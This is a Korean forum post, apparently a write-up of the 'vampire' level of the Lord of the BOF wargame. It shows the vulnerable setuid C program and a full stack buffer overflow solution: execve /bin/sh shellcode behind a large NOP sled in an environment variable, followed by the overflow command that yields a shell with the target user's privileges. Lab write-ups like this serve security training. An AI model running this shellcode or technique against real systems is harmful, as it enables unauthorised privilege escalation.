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http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8611 [복사]
[troll@localhost troll]$ bash2
[troll@localhost troll]$ ls -al
total 44
drwx------ 2 troll troll 4096 Mar 29 2010 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw-r--r-- 1 troll troll 24 Mar 1 2010 .bash_logout
-rw-r--r-- 1 troll troll 230 Mar 1 2010 .bash_profile
-rw-r--r-- 1 troll troll 124 Mar 1 2010 .bashrc
-rwxr-xr-x 1 troll troll 333 Mar 1 2010 .emacs
-rw-r--r-- 1 troll troll 3394 Mar 1 2010 .screenrc
-rwsr-sr-x 1 vampire vampire 12103 Mar 2 2010 vampire
-rw-r--r-- 1 root root 550 Mar 29 2010 vampire.c
[troll@localhost troll]$ cat vampire.c
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
argv[1][47]은 "\xbf"이면서 argv[1][46]은 "\xff"가 되면 안 된다.
머릿속에 바로 떠오른 생각은...
환경변수에 shellcode를 올려놓는데 앞에 nop을 10만개정도 올려놓으면
\xff값이 바뀌지 않을까 싶었는데...
[troll@localhost troll]$ export SHELLCODE=$(python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')[troll@localhost troll]$ vi getenv.c
[troll@localhost troll]$ gcc -o getenv getenv.c
[troll@localhost troll]$ ./getenv
0xbffe7834
[troll@localhost troll]$ ./vampire `python -c 'print "\x90"*44+"\x34\x89\xfe\xbf"'`
4þ¿
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
[???????????????]
bash$
...너무 쉽게 쉘을 따버렸다;;
문제 푸는데 2~3분밖에 안 걸림...
다음 단계로 ㄱㄱ싱 |
Hit : 1106 Date : 2025/07/08 07:37
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1617, 
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